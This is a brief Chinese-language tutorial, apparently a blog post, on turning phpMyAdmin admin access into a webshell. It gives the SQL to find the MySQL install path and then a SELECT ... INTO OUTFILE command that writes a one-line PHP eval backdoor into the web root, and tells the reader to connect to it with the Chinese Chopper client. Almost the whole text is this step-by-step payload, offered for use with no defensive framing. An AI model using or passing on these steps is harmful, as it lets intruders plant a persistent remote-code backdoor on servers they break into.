phpMyadmin 后台 Getshell

phpmyadmin 是一个非常受欢迎的 mysql 管理程序，可以非常方便的管理 mysql。

在获取了 phpMyadmin 后台权限以后，可以非常容易的 getshell 。

第一步（获取 web 绝对路径）：

进入 SQL 标签执行 SQL：

select @@basedir;

这个语句是利用 Mysql 的特性，输出绝对路径。

执行语句

第二步（写入 webshell）：

根据上面的反馈，我们可以看到 MySQL 的位置在 D:\soft\phpStudy\MySQL\目录下。

继续执行命令
select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE '网站目录路径/eval.php'
在这里我们放在网站根目录上：
select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE 'D:\soft\phpStudy\www\eval.php'

用菜刀连接即可。